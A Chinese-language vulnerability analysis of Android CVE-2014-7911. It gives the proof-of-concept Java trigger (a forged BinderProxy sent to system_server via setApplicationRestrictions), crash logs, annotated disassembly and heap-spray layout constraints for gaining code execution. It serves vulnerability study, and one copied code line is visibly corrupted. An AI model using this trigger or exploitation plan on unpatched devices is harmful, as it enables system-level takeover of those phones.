简介
CVE-2014-7911是由Jann Horn发现的一个有关安卓的提权漏洞,该漏洞允许恶意应用从普通应用权限提权到system用户执行命令,影响版本包括4.4以前所有的版本。该漏洞是一个非常有学习价值的漏洞,其涉及的知识非常广泛,包括Java序列化与反序列化、Dalvik GC机制、Android binder机制、heap spary、ROP、stack pivot。
该漏洞的成因在于java.io.ObjectInputStream类在反序列化输入的数据时,并不验证其合法性,攻击者可以利用此漏洞构造恶意对象在sysemserver进程中执行任意代码并获取提升的权限。但是我google大部分关于这个漏洞的文章,没有一个分析文章能将漏洞的触发流程与这个点串起来的逻辑,或者说文章中根本就没有在提及这个点,这个过程发生在sysemserver处理Parcel数据的时候有个unparcel过程,下边会有详细的逻辑流程。
调试环境和工具
nexus 5
android 4.4
android studio
漏洞触发
触发
先下载漏洞poc编译过后安装到手机中,一定要拿实体机测试,在genymotion等虚拟机中无法通过反射获取到系统服务。
清除日志 adb logcat -c
开启日志 adb logcat
运行poc,手机重启,查看崩溃日志
--------- beginning of /dev/log/main
I/System.out(10603): 1 inner classes found
I/System.out(10603): 1 inner classes found
D/audio_hw_primary( 8448): select_devices: out_snd_device(2: speaker) in_snd_device(0: )
--------- beginning of /dev/log/system
E/UserManagerService( 8753): Error writing application restrictions list
D/dalvikvm( 8753): GC_FOR_ALLOC freed 134K, 4% free 24602K/25472K, paused 32ms, total 32ms
F/libc ( 8753): Fatal signal 11 (SIGSEGV) at 0x1337bef3 (code=1), thread 8761 (FinalizerDaemon)
D/dalvikvm( 8753): GC_FOR_ALLOC freed 856K, 7% free 24582K/26312K, paused 31ms, total 31ms
D/dalvikvm( 8753): GC_FOR_ALLOC freed 836K, 7% free 24582K/26312K, paused 35ms, total 35ms
I/ActivityManager( 8753): START u0 {act=android.intent.action.MAIN cat=[android.intent.category.HOME] flg=0x10200000 cmp=com.google.android.googlequicksearchbox/com.google.android.launcher.GEL} from pid 8753
D/audio_hw_primary( 8448): select_devices: out_snd_device(2: speaker) in_snd_device(0: )
I/DEBUG ( 175): *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
I/DEBUG ( 175): Build fingerprint: 'google/hammerhead/hammerhead:4.4.4/KTU84P/1227136:user/release-keys'
I/DEBUG ( 175): Revision: '11'
I/DEBUG ( 175): pid: 8753, tid: 8761, name: FinalizerDaemon >>> system_server <<<
I/DEBUG ( 175): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 1337bef3
I/DEBUG ( 175): r0 1337beef r1 401899d9 r2 71082008 r3 6d468dc4
I/DEBUG ( 175): r4 401899d9 r5 1337beef r6 713c12e8 r7 1337beef
I/DEBUG ( 175): r8 1337beef r9 746daf68 sl 71082018 fp 74a7eb24
I/DEBUG ( 175): ip 401c18a4 sp 74a7eae8 lr 40188981 pc 400d6176 cpsr 200f0030
I/DEBUG ( 175): d0 0000000000000001 d1 0000000000000000
I/DEBUG ( 175): d2 6d4aece800000000 d3 0000010000000000
I/DEBUG ( 175): d4 0000000000000000 d5 0000000000000000
I/DEBUG ( 175): d6 0000000000000000 d7 42c800004bb98bb4
I/DEBUG ( 175): d8 0000000000000000 d9 0000000000000000
I/DEBUG ( 175): d10 0000000000000000 d11 0000000000000000
I/DEBUG ( 175): d12 0000000000000000 d13 0000000000000000
I/DEBUG ( 175): d14 0000000000000000 d15 0000000000000000
I/DEBUG ( 175): d16 ffffffff00000013 d17 00000006ffffffff
I/DEBUG ( 175): d18 0000000000000000 d19 0000000000000000
I/DEBUG ( 175): d20 0000000000000000 d21 0002000200020002
I/DEBUG ( 175): d22 0000000000000000 d23 0000000000000000
I/DEBUG ( 175): d24 0000000000000000 d25 0002a7600002a760
I/DEBUG ( 175): d26 0707070703030303 d27 0300000004000000
I/DEBUG ( 175): d28 0800000009000000 d29 0001000000010000
I/DEBUG ( 175): d30 010b400001088000 d31 01108000010e0000
I/DEBUG ( 175): scr 60000010
I/DEBUG ( 175):
I/DEBUG ( 175): backtrace:
I/DEBUG ( 175): #00 pc 0000d176 /system/lib/libutils.so (android::RefBase::decStrong(void const*) const+3)
I/DEBUG ( 175): #01 pc 0007097d /system/lib/libandroid_runtime.so
I/DEBUG ( 175): #02 pc 0001dbcc /system/lib/libdvm.so (dvmPlatformInvoke+112)
I/DEBUG ( 175): #03 pc 0004e123 /system/lib/libdvm.so (dvmCallJNIMethod(unsigned int const*, JValue*, Method const*, Thread*)+398)
I/DEBUG ( 175): #04 pc 00026fe0 /system/lib/libdvm.so
I/DEBUG ( 175): #05 pc 0002dfa0 /system/lib/libdvm.so (dvmMterpStd(Thread*)+76)
I/DEBUG ( 175): #06 pc 0002b638 /system/lib/libdvm.so (dvmInterpret(Thread*, Method const*, JValue*)+184)
I/DEBUG ( 175): #07 pc 0006057d /system/lib/libdvm.so (dvmCallMethodV(Thread*, Method const*, Object*, bool, JValue*, std::__va_list)+336)
I/DEBUG ( 175): #08 pc 000605a1 /system/lib/libdvm.so (dvmCallMethod(Thread*, Method const*, Object*, JValue*, ...)+20)
I/DEBUG ( 175): #09 pc 00055287 /system/lib/libdvm.so
I/DEBUG ( 175): #10 pc 0000d170 /system/lib/libc.so (__thread_entry+72)
I/DEBUG ( 175): #11 pc 0000d308 /system/lib/libc.so (pthread_create+240)
...
崩溃日志
简单说下崩溃日志格式
1. ndk crash log以*** *** *** *** ***开始.
2. 第一行Build fingerprint: ‘google/hammerhead/hammerhead:4.4.4/KTU84P/1227136:user/release-keys’ 指明了运行的Android版本, 如果您有多份crash dump的话这个信息就比较有用了。
3. 接着一行显示的是当前的线程id(pid)和进程id(tid). 如果当前崩溃的线程是主线程的话, pid和tid会是一样的。
4. 第四行, 显示的是unix信号. 这里的signal 11,即SIGSEGV,表示段错误,是最常见的信号。(SIGSEGV自行google)
5. 接下来的部分是系统寄存器的dump信息。
6. Crash dump还包含PC之前和之后的一些内存字段.
7. 最后是崩溃时的调用堆栈,如果你执行的是debug版本,还能还原一些c++代码。
几个重要的寄存器
- r0-r3 用作传入函数参数,传出函数返回值。当参数不超过4个时,可以使用寄存器R0~R3来进行参数传递,当参数超过4个时,使用数据栈来传递参数;结果为一个32位的整数时,通过寄存器r0返回;结果为一个64位整数时,通过寄存器r0,r1返回。另外很重要的一点,在C++中,第一个参数就是this指针,所以this指针是存放在r0中的。
- r4-r11 被用来存放函数的局部变量。
- fp (or r11) 指向当前正在执行的函数的堆栈底。
- sp (or r13) 当前正在执行的函数的堆栈顶.(跟fp相对应)
- lr (or r14) link register. 简单来说,当当前指令执行完了,就会从这个寄存器获取地址,来知道需要返回,到哪里继续执行。
- pc (or r15) program counter. 程序计数器。
漏洞POC分析
从上边崩溃日志中看出,system_server执行到0x1337bef3地址后触发Error writing application restrictions list
写错误,最终造成了崩溃。
漏洞触发过程
结合崩溃信息看poc源码,源码触发过程如下:
1.创建可序列化的对象AAdroid.os.BinderProxy并将其放入Bundle数据中。
Bundle bundle = new Bundle();
BinderProxy evilProxy = new BinderProxy();
evilProxy.mOrgue = staticAddr;
evilProxy.mObject = staticAddr;
bundle.putSerializable("eatthis", evilProxy);
类AAdroid.os.BinderProxy代码:
public class BinderProxy implements Serializable {
private static final long serialVersionUID = 0;
public int mObject = 0x1337beef;
public int mOrgue = 0x1337beef;
}
注意其中两个可控的成员变量mObject和mOrgue分别赋值0x1337beef,正是崩溃点。
2.通过一系列java的反射机制,获得跨进程调用systemserver的IBinder接口mRemote,为与systemserver的跨进程通信做准备。
// 获取类对象android.os.IUserManager.Stub
Class stubClass = null;
Class[] umSubclasses = Class.forName("android.os.IUserManager").getDeclaredClasses();
System.out.println(umSubclasses.length + " inner classes found");
for (Class inner : umSubclasses) {
if (inner.getCanonicalName().equals("android.os.IUserManager.Stub")) {
stubClass = inner;
break;
}
}
// 获取对象android.os.IUserManager.Stub中TRANSACTION_setApplicationRestrictions的值用于transact()
Field TRANSACTION_setApplicationRestrictionsField = stubClass.getDeclaredField("TRANSACTION_setApplicationRestrictions");
TRANSACTION_setApplicationRestrictionsField.setAccessible(true);
TRANSACTION_setApplicationRestrictions = TRANSACTION_setApplicationRestrictionsField.getInt(null);
// 获取类对象android.os.IUserManager.Stub.Proxy
Class proxyClass = null;
Class[] umStubclasses = stubClass.getDeclaredClasses();
System.out.println(umStubclasses.length + " inner classes found");
for (Class inner : umStubclasses) {
if (inner.getCanonicalName().equals("android.os.IUserManager.Stub.Proxy")) {
proxyClass = inner;
break;
}
}
// 获取UserManager类对象实例
UserManager userManager = (UserManager) context.getSystemService(Context.USER_SERVICE);
// 获取UserManager类对象中mService对象, 类型为IUserManager
Field mServiceField = UserManager.class.getDeclaredField("mService");
mServiceField.setAccessible(true);
// 获取UserManager类对象实例中的mService对象值
Object mService = mServiceField.get(userManager);
// 获取类对象android.os.IUserManager.Stub.Proxy中的mRemote对象
Field mRemoteField = proxyClass.getDeclaredField("mRemote");
mRemoteField.setAccessible(true);
// 获取获取类型为IUserManager的实例对象mService对象值
mRemote = (IBinder) mRemoteField.get(mService);
3.调用setApplicationRestrictions函数,传入之前打包evilproxy的Bundle数据作为参数。
private void setApplicationRestrictions(java.lang.String packageName, android.os.Bundle restrictions, int
userHandle) throws android.os.RemoteException {
android.os.Parcel _data = android.os.Parcel.obtain();
android.os.Parcel _reply = android.os.Parcel.obtain();
try {
_data.writeInterfaceToken(DESCRIPTOR);
_data.writeString(packageName);
_data.writeInt(1);
restrictions.writeToParcel(_data, 0);
_data.writeInt(userHandle);
byte[] data = _data.marshall();
for (int i=0; true; i++) {
if (data[i] == 'A' && data[i+1] == 'A' && data[i+2] == 'd' && data[i+3] == 'r') {
data[i] = 'a';
data[i+1] = 'n';
break;
}
}
_data.recycle();
_data = Parcel.obtain();
_data.unmarshall(data, 0, data.length);
mRemote.transact(TRANSACTION_setApplicationRestrictions, _data, _reply, 0);
_reply.readException();
}
finally {
_reply.recycle();
_data.recycle();
}
}
将该函数与Android源码中的Android.os.IUserManager.Stub.Proxy.setApplicationRestrictions函数对比,主要的区别在于将传入的Bundle数据进行了修改,将之前可序列化的AAdroid.os.BinderProxy对象修改为了不可序列化的Android.os.BinderProxy对象,这样就将不可序列化的Bundles数据,通过Binder跨进程调用,传入systemserver中,systemserver在处理这些数据时造成异常崩溃。
进程间通信
Binder
通过POC知道造成崩溃行为的代码为mRemote.transact(TRANSACTION_setApplicationRestrictions, _data, _reply, 0)
,这里就涉及到进程间通信,在Android中,Binder用于完成进程间通信(IPC),即把多个进程关联在一起,以下摘自网络:
Binder是一种架构,这种架构提供了服务端接口、Binder驱动、客户端接口三个模块。
服务端:一个Binder服务端实际上就是一个Binder类的对象,该对象一旦创建,内部就启动一个隐藏线程。该线程接下来会接收Binder驱动发送的消息,收到消息后,会执行到Binder对象中的onTransact()函数,并按照该函数的参数执行不同的服务代码。因此,要实现一个Binder服务,就必须重载onTransact()方法。重载onTransact()函数的主要内容是把onTransact()函数的参数转换为服务函数的参数,而onTransact()函数的参数来源是客户端调用transact()函数时输入的,因此,如果transact()有固定格式的输入,那么onTransact()就会有固定格式的输出。
Binder驱动:任意一个服务端Binder对象被创建时,同时会在Binder驱动中创建一个mRemote对象,该对象的类型也是Binder类。客户端要访问远程服务时,都是通过mRemote对象。
客户端:客户端要想访问远程服务,必须获取远程服务在Binder对象中对应的mRemote引用,获得该mRemote对象后,就可以调用其transact()方法,而在Binder驱动中,mRemote对象也重载了transact()方法,重载的内容主要包括以下几项:1. 以线程间消息通信的模式,向服务端发送客户端传递过来的参数。2. 挂起当前线程,当前线程正是客户端线程,并等待服务端线程执行完指定服务函数后通知(notify)。3. 接收到服务端线程的通知,然后继续执行客户端线程,并返回到客户端代码区。
通过上边简短的介绍,我们知道,要想使用服务端,首先要获取服务端在Binder驱动中对应的mRemote变量的引用,在POC中通过反射方式获得。
获得该变量的引用后,就可以调用该变量的transact()方法。该方法的函数原型:public final boolean transact(int code, Parcel data, Parcel reply,int flags),其中data表示的是要传递给远程Binder服务的包裹(Parcel),远程服务函数所需要的参数必须放入这个包裹中。包裹中只能放入特定类型的变量,这些类型包括常用的原子类型,比如String、int、long等,要查看包裹可以放入的全部数据类型,可以参照Parcel类。除了一般的原子变量外,Parcel还提供了一个writeParcel()方法,可以在包裹中包含一个小包裹。因此,要进行Binder远程服务调用时,服务函数的参数要么是一个原子类,要么必须继承于Parcel类,否则,是不能传递的。这也是为什么最开始要创建一个可序列化的对象AAdroid.os.BinderProxy并将其放入Bundle数据中。
网上关于进程间通信的资料大部分都是又臭又长,如果想快速了解推荐一篇文章 android中的跨进程通信的实现(一)——远程调用过程和aidl
service manager和binder service
Binder是android系统中实现跨进程通信(IPC)的一种重要机制。service manager是所有binder service的管理者,但它并不是这些binder service的创建者。这些binder service有些是init进程启动的服务创建的,有些是system_server进程创建的,但是service manager会管理所有binder service的信息,方便client查询以及调用。
service manager是由init进程直接启动的,ActivityManagerService,PackageManagerService等系统的基本服务(frameworks\base\services\java\com\android\server
源码路径里的服务类)由systemserver进程启动的。binder service实际上并没有单独的进程,它们只是systemserver的一个子线程。init进程会启动surface flinger,media server, drmserver等服务,在这些服务里会创建binder service,并注册到service manager。
native binder service 和 java 层的binder service,都会交由service manager注册,然后由service manager管理。客户端使用binder service时需要向service manager查询得到binder service在当前进程的一个代理proxy,通过代理与binder service的服务端交互。
漏洞触发过程中数据的parcel和unparcel
进程间传递Parcel类型数据,一端通过writeToParcel
将对象映射成Parcel对象传递出去,另一端再通过createFromParcel
将Parcel对象映射回原始对象进行处理。可以将Parcel看成是一个流,通过writeToParcel
把对象写到流里面,在通过createFromParcel
从流里读取对象。
然后看POC中修改过的不可反序列化的parcel对象Android.os.BinderProxy
的处理过程,
接POC最后执行流程,执行过mRemote.transact(TRANSACTION_setApplicationRestrictions, _data, _reply, 0)
过后,
system_server层会去调用IUserManager.onTransact()
方法,来到case TRANSACTION_setApplicationRestrictions
分支开始处理传进来的parcel数据流:
先是_arg1 = android.os.Bundle.CREATOR.createFromParcel(data)
读取数据对象,然后调用this.setApplicationRestrictions(_arg0, _arg1, _arg2);
然后转入UserManagerService,UserManagerService继承IUserManager.Stub
并实现了setApplicationRestrictions
方法,下边的调用流程为(跟着参数_arg1也就是修改过不可反序列化的对象走)
> IUserManager.Stub.Proxy.setApplicationRestrictions(_arg0, _arg1, _arg2) ->
UserManagerService.setApplicationRestrictions ->
UserManagerService.writeApplicationRestrictionsLocked ->
Bundle.keySet()(restrictions.keySet()) ->
Bundle.unparcel() ->
Parcel.readArrayMapInternal() ->
Parcel.readValue(ClassLoader) ->
Parcel.readSerializable(ClassLoader) ->
ObjectInputStream.readObject() ->
ObjectInputStream.readNonPrimitiveContent() ->
ObjectInputStream.readNewObject() ->
对比之前版本知道,最后classDesc.checkAndGetTcObjectClass()
这里就是补丁代码了,进去checkAndGetTcObjectClass()
看到上边几行注释
/**
* Checks the local class to make sure it is valid for {@link ObjectStreamConstants#TC_OBJECT}
* deserialization. Also performs some sanity checks of the stream data. This method is used
* during deserialization to confirm the local class is likely to be compatible with the coming
* stream data, but before an instance is instantiated.
*
* @hide used internally during deserialization
*/
注释也很清楚了说明了,这是加的一个补丁,在数据被实例化之前,用来检测对象是否可被反序列化。
更详细的补丁代码可以查看:2d0fbea07c1a3c4368ddb07609d1a86993ed6de9
漏洞分析
回过头来看crash dump信息,根据backtrace显示的堆栈调用最后调用了/system/lib/libutils.so (android::RefBase::decStrong(void const*) const+3)
。
Android指针管理
Android中通过引用计数来实现智能指针,并且实现有强指针与弱指针。由对象本身来提供引用计数器,但是对象不会去维护引用计数器的值,而是由智能指针来管理。要达到所有对象都可用引用计数器实现智能指针管理的目标,可以定义一个公共类,提供引用计数的方法,所有对象都去继承这个公共类,这样就可以实现所有对象都可以用引用计数来管理的目标,在Android中,这个公共类就是RefBase。
RefBase作为公共基类提供了引用计数的方法,但是并不去维护引用计数的值,而是由两个智能指针来进行管理:sp(Strong Pointer)和wp(Weak Pointer),代表强引用计数和弱引用计数。RefBase提供了incStrong与decStrong函数用于控制强引用计数值,其弱引用计数值是由weakref_impl控制,强引用计数与弱引用数都保存在weakref_impl *
类型的成员变量mRefs中。
当sp销毁时其析构函数调用对象即RefBase的decStrong函数,decStrong中将强引用数与弱引用数同时减1,如果这是最后一个强引用的话,会调用对象的onLastStrongRef,并且判断成员变量mRefs的成员变量mFlags来决定是否在对象的强引用数为0时释放对象。
GC机制
简单介绍一下Java对象的生命周期与垃圾回收(摘自网络):
创建对象的方式:
- 用new语句创建对象。
- 使用反射,调用
java.lang.Class或java.lang.reflect.Constructor
的newInstance()实例方法。 - 调用对象的clone()方法
- 使用反序列化手段,调用
java.io.ObjectInputStream
对象的readObject()方法。
垃圾回收和对象的可触及性:
- 可触及状态:当一个对象被创建后,只要程序中还有引用变量引用该对象,那么它就始终处于可触及状态。
- 可复活状态:当程序不再有任何引用变量引用对象时,它就进入可复活状态。该状态的对象,垃圾回收器会准备释放它占用的内存,在释放前,会调用它的finalize()方法,这些finalize()方法有可能使对象重新转到可触及状态。
- 不可触及状态:当JVM执行完所有的可复活状态的finalize()方法后,假如这些方法都没有使对象转到可触及状态。那么该对象就进入不可触及状态。只有当对象处于不可触及状态时,垃圾回收器才会真正回收它占用的内存。
漏洞成因
通过RefBase和GC机制的简单了解得知该处崩溃是由于对象销毁触发GC处理过程,当system_server对传进来的对象进行反序列化后就创建了对象,启动Activity后将其最小化,触发GC,由于该对象并没有任何引用,GC清理时就会调用该对象的finalize方法,即调用了Android.os.BinderProxy
的finalize方法,然后会调用destroy(),destroy()为native方法。
@Override
protected void finalize() throws Throwable {
try {
destroy();
} finally {
super.finalize();
}
}
private native final void destroy();
定位到androidosBinderProxy_destroy
static void android_os_BinderProxy_destroy(JNIEnv* env, jobject obj)
{
IBinder* b = (IBinder*)
env->GetIntField(obj, gBinderProxyOffsets.mObject);
DeathRecipientList* drl = (DeathRecipientList*)
env->GetIntField(obj, gBinderProxyOffsets.mOrgue);
LOGDEATH("Destroying BinderProxy %p: binder=%p drl=%p\n", obj, b, drl);
env->SetIntField(obj, gBinderProxyOffsets.mObject, 0);
env->SetIntField(obj, gBinderProxyOffsets.mOrgue, 0);
drl->decStrong((void*)javaObjectForIBinder);
b->decStrong(obj);
IPCThreadState::self()->flushCommands();
}
代码一开始就将gBinderProxyOffsets.mObject
和gBinderProxyOffsets.mOrgue
强制转换成函数指针,那么gBinderProxyOffsets.mObject
和gBinderProxyOffsets.mOrgue
是什么鬼?找到BinderProxy服务注册函数int_register_android_os_BinderProxy
const char* const kBinderProxyPathName = "android/os/BinderProxy";
static int int_register_android_os_BinderProxy(JNIEnv* env)
{
jclass clazz;
clazz = env->FindClass("java/lang/ref/WeakReference");
LOG_FATAL_IF(clazz == NULL, "Unable to find class java.lang.ref.WeakReference");
gWeakReferenceOffsets.mClass = (jclass) env->NewGlobalRef(clazz);
gWeakReferenceOffsets.mGet = env->GetMethodID(clazz, "get", "()Ljava/lang/Object;");
assert(gWeakReferenceOffsets.mGet);
clazz = env->FindClass("java/lang/Error");
LOG_FATAL_IF(clazz == NULL, "Unable to find class java.lang.Error");
gErrorOffsets.mClass = (jclass) env->NewGlobalRef(clazz);
clazz = env->FindClass(kBinderProxyPathName);
LOG_FATAL_IF(clazz == NULL, "Unable to find class android.os.BinderProxy");
gBinderProxyOffsets.mClass = (jclass) env->NewGlobalRef(clazz);
gBinderProxyOffsets.mConstructor = env->GetMethodID(clazz, "<init>", "()V");
assert(gBinderProxyOffsets.mConstructor);
gBinderProxyOffsets.mSendDeathNotice = env->GetStaticMethodID(clazz, "sendDeathNotice", "(Landroid/os/IBinder$DeathRecipient;)V");
assert(gBinderProxyOffsets.mSendDeathNotice);
gBinderProxyOffsets.mObject = env->GetFieldID(clazz, "mObject", "I");
assert(gBinderProxyOffsets.mObject);
gBinderProxyOffsets.mSelfvoid RefBase::decStrong = env->GetFieldID(clazz, "mSelf", "Ljava/lang/ref/WeakReference;");
assert(gBinderProxyOffsets.mSelf);
gBinderProxyOffsets.mOrgue = env->GetFieldID(clazz, "mOrgue", "I");
assert(gBinderProxyOffsets.mOrgue);
...
...
}
代码中可以看到,通过一些列反射通过对象引用计数器获取android.os.BinderProxy
对象实例,然后通过
gBinderProxyOffsets.mObject = env->GetFieldID(clazz, "mObject", "I");
gBinderProxyOffsets.mOrgue = env->GetFieldID(clazz, "mOrgue", "I");
获取其成员变量mObject和mOrgue的值,即获取了AAdroid.os.BinderProxy
中的变量mObject和mOrgue的值。
而我们可以控制mObject和mOrgue的值,这样就相当于我们可以向system_server传递一个任意值的函数指针this,并在该对象实例被GC时有机会获得控制权。
继续看android_os_BinderProxy_destroy
代码,将mOrgue强制转成DeathRecipientList函数指针后会调用函数drl->decStrong((void*)javaObjectForIBinder)
,
DeathRecipientList继承RefBase,找到RefBase类中的decStrong方法,位于RefBase.cpp
void RefBase::decStrong(const void* id) const
{
// 成员变量mRefs是在对象的构造函数中初始化
weakref_impl* const refs = mRefs;
// 强引用数与弱引用数同时减1
refs->removeStrongRef(id);
// 获取强引用数,返回&refs->mStrong
const int32_t c = android_atomic_dec(&refs->mStrong);
#if PRINT_REFS
ALOGD("decStrong of %p from %p: cnt=%d\n", this, id, c);
#endif
ALOG_ASSERT(c >= 1, "decStrong() called on %p too many times", refs);
// 如果这是最后一个强引用的话
if (c == 1) {
refs->mBase->onLastStrongRef(id);
if ((refs->mFlags&OBJECT_LIFETIME_MASK) == OBJECT_LIFETIME_STRONG) {
delete this;
}
}
refs->decWeak(id);
}
这个对象销毁过程参考前边介绍的Android指针管理,decStrong中将强引用数与弱引用数同时减1,如果这是最后一个强引用的话,会调用对象的onLastStrongRef,并且判断成员变量mRefs的成员变量mFlags来决定是否在对象的强引用数为0时释放对象。
我们传入的mOrgue的值,即是drl->decStrong
方法所在类DeathRecipientList的this指针,所以执行到refs->mBase->onLastStrongRef(id)
最终导致我们的代码执行。mBase类型为RefBase* const,相当于直接跳到mOrgue地址执行了,即程序崩在了0x1337bef3,r0为函数第一个参数即this指针,所以其值也是0x1337bef3。
反汇编定位崩溃点
经过前边的分析已经知道了漏洞成因以及最终漏洞触发函数,但是想要利用漏洞就必须定位到具体的触发崩溃的点,需要知道最后是哪个操作造成的,以及相关寄存器哪些是可控的。
从android4.4.4原生系统中扣出libutil.so文件,然后反汇编android::RefBase::decStrong(void const*) const
函数,汇编代码以及说明如下所示:
================ B E G I N N I N G O F P R O C E D U R E ================
_ZNK7android7RefBase9decStrongEPKv: // android::RefBase::decStrong(void const*) const
0000d172 push {r4, r5, r6, lr} ; XREF=_ZN7android2spINS_9BlobCache4BlobEED1Ev+10, _ZN7android2spINS_9BlobCache4BlobEEaSERKS3_+22, _ZN7android2spINS_14LooperCallbackEED1Ev+18, _ZN7android2spINS_6ThreadEE5clearEv+18, _ZN7android6Thread3runEPKcij+70, _ZN7android6Thread11_threadLoopEPv+178, _ZN7android6Looper16threadDestructorEPv+6, _ZN7android6Looper12setForThreadERKNS_2spIS0_EE+42, _ZN7android6Looper12setForThreadERKNS_2spIS0_EE+52, _ZN7android2spINS_14LooperCallbackEEaSERKS2_+36, _ZN7android6Looper9pollInnerEi+506, …
0000d174 mov r5, r0 // r0为drl的this指针
0000d176 ldr r4, [r0, #0x4] // mRefs是drl父类RefBase虚函数下边第一个私有变量,即为drl虚表下边第一个私有变量,所以地址为this+4
0000d178 mov r6, r1
0000d17a mov r0, r4 // &refs->mStrong为weakref_impl类的第一成员变量,并且其父类weakref_type没有虚函数,所以不存在虚表,所以其地址为r4
0000d17c blx android_atomic_dec@PLT // 获取强引用数
0000d180 cmp r0, #0x1 // 返回值与1比较
0000d182 bne 0xd19c // 不等跳到0xd19c 该处为漏洞利用的约束条件
0000d184 ldr r0, [r4, #0x8] // weakref_impl类中mBase位于第三个成员变量,所以其地址为r4+8
0000d186 mov r1, r6 // refs->mBase->onLastStrongRef参数id
0000d188 ldr r3, [r0] // 将mBase地址传给r3,即r3为RefBase类this指针
0000d18a ldr r2, [r3, #0xc] // 父类weakref_type虚表指针vfptr+私有变量mRefs + 4(onLastStrongRef为第二个虚函数) = 0xC
0000d18c blx r2 // 调用refs->mBase->onLastStrongRef
0000d18e ldr r0, [r4, #0xc]
0000d190 lsls r0, r0, #0x1f
0000d192 bmi 0xd19c
0000d194 ldr r1, [r5]
0000d196 mov r0, r5
0000d198 ldr r3, [r1, #0x4]
0000d19a blx r3
0000d19c mov r0, r4 ; argument #1 for method _ZN7android7RefBase12weakref_type7decWeakEPKv, XREF=_ZNK7android7RefBase9decStrongEPKv+16, _ZNK7android7RefBase9decStrongEPKv+32
0000d19e mov r1, r6
0000d1a0 pop.w {r4, r5, r6, lr}
0000d1a4 b.w _ZN7android7RefBase12weakref_type7decWeakEPKv ; android::RefBase::weakref_type::decWeak(void const*)
; endp
根据汇编代码可以看出,为实现任意代码执行得满足条件:
&refs->mStrong == 1,即*(*(mOrgue+4)) == 1
所以总结下来应该是
if(*(*(mOrgue+4)) == 1) {
refs = *(mOrgue+4);
r2 = *(*(*(refs+8))+0xC);
blx r2 ; <—— controlled;
}
对照反汇编代码更容易看出来
int android::RefBase::decStrong(void const*) const(void * arg0) {
r5 = arg0;
r4 = *(arg0 + 0x4);
r6 = r1;
if (android_atomic_dec() == 0x1) {
r0 = *(r4 + 0x8);
r3 = *r0;
r2 = *(r3 + 0xc);
(r2)(r0, r6, r2, r3);
if (PARITY(*(r4 + 0xc) << 0x1f)) {
r1 = *r5;
(*(r1 + 0x4))(r5, r1);
}
}
Pop();
Pop();
Pop();
Pop();
r0 = android::RefBase::weakref_type::decWeak(r4);
return r0;
}
最后执行的汇编代码地址为: r2 = *(*(*(refs+8))+0xC) = *(*(*(*(mOrgue+4)+8))+0xC)
思考
通过分析,其实这个漏洞触发需要的条件就两个:
1. 向systemserver传递对象,并且systemserver会将该对象反序列化。
2. 传递数据前将可序列化的对象修改为不可序列化。
第一个问题,是否必须使用Android.os.UserManager.setApplicationRestrictions方法向system_server传递对象?
并不是,其实我们需要的是找到一个途径将序列化后的对象传递进systemserver进程,并且systemserver会将该对象反序列化,只要满足这样的条件均可。这样的系统服务还是很多的,例如frameworks\base\services\java\com\android\server
目录下的系统服务,找到相对应的应用层通信调用的地方就可以了。
第二个问题,为什么要将AAdroid.os.BinderProxy修改为Android.os.BinderProxy?
漏洞的整个触发过程仅仅是向systemserver进程传递了一个恶意对象实例,此时没有任何该对象的方法或者数据被使用,然而由于Java GC机制,当该对象被清理时,GC将调用他的finalize方法。由于finalize方法是不可控的,可控仅仅是该恶意对象,所以漏洞仍然无法利用。回头再看Android.os.BinderProxy,它在其finalize方法中将变量mObject和mOrgue强制转换为函数指针并调用。但是其中mObject和mOrgue的值是可控的,这样就相当于可以向systemserver传递一个任意值的函数指针this,并在该对象实例被GC时有机会获得控制权。
漏洞利用
在上边已经分析了漏洞的成因和触发时机。
POC崩溃到mOrgue,从该地址处取值,所以从这个点开始控制流程。
由于堆分配不可控,所以要让mOrgue指向的内存命中可控区域,这里需要采用堆喷技术。在控制流程之后要想使代码顺利执行,还需要过掉DEP和ASLR。
Dakvik-Heap Spray
堆喷数据一般由大量的堆块组成,每个堆块又由大量的滑板指令+shellcode组成,滑板指令的目的是让程序能跳转到shellcode中执行我们的代码,看漏洞最后执行的汇编代码是执行了blx r2操作,即跳转到r2处执行代码,而r2的值是由r0经过三级指针获取的,所以需要将布局的滑板指令覆盖到r0并且能够跳转到shellcode中。
堆块布局
先看最终的堆块布局,如下图所示:
假设mOrgue命中了堆块中的滑板指令,
为了使[mOrgue] = shellcode_addr
则有[mOrgue] = shellcode_addr = heap_base_addr + shellcode_addr_offset
一般情况下mOrgue在堆基址某偏移处,考虑到4字节对齐,所以mOrgue = heap_base_addr + 4N
得出[mOrgue] = heap_base_addr + shellcode_addr_offset = mOrgue + shellcode_addr_offset - 4N
这样,给定一个mOrgue,只要能落入system_server在dalvik heap分配的大量堆块中,
即指向了滑板指令,就总是存在[mOrgue] = shellcode_addr
。
再看堆块结构图,滑板指令的值从上到下依次减4,
所以当[mOrgue] = shellcode_addr时,[mOrgue + 4] = shellcode_addr - 4
,
可得出[mOrgue + 4N] = shellcode_addr - 4N
所以通过构造这样结构的堆块,就可以达到上述滑板指令的目的,
同时当命中滑板指令时,这个堆块布局有两个逻辑公式:
[mOrgue] = mOrgue + shellcode_addr_offset - 4N
[mOrgue + 4N] = shellcode_addr - 4N
堆块布局约束条件
解决了滑板指令的问题,还要考虑到漏洞利用过程中堆块内写入数据的约束条件,重新看汇编代码
0000d174 mov r5, r0 // r0 = mOrgue可控
0000d176 ldr r4, [r0, #0x4] // mOrgue + 4处取值
0000d178 mov r6, r1
0000d17a mov r0, r4
0000d17c blx android_atomic_dec@PLT
0000d180 cmp r0, #0x1
0000d182 bne 0xd19c
0000d184 ldr r0, [r4, #0x8] // r0 = [r4 + 8]
0000d186 mov r1, r6
0000d188 ldr r3, [r0]
0000d18a ldr r2, [r3, #0xc]
0000d18c blx r2
跳转限制条件:
[r0, #0x4] == 1 即 [mOrgue + 4] == 1
根据[mOrgue + 4N] = shellcode_addr得出
shellcode_addr - 4 == 1
流程控制限制条件:
r0 = [r4 + 8] = [[r0 + 4] + 8] = [shellcode_addr - 4 + 8] = [shellcode_addr + 4]
r3 = [r0] = [[shellcode_addr + 4]]
r2 = [r3 + 12]
为了布局方便和流程控制,最后让r2指向shellcode_addr则有
r2 = [shellcode_addr] = [shellcode_addr -12 + 12]
得出r3 = shellcode_addr -12 = [mOrgue + 12]
要使[[shellcode_addr + 4]] = [mOrgue + 12]
则有[shellcode_addr + 4] == mOrgue + 12
综上所述,堆块布局的两个限制条件为:
shellcode_addr - 4 == 1
[shellcode_addr + 4] == mOrgue + 12
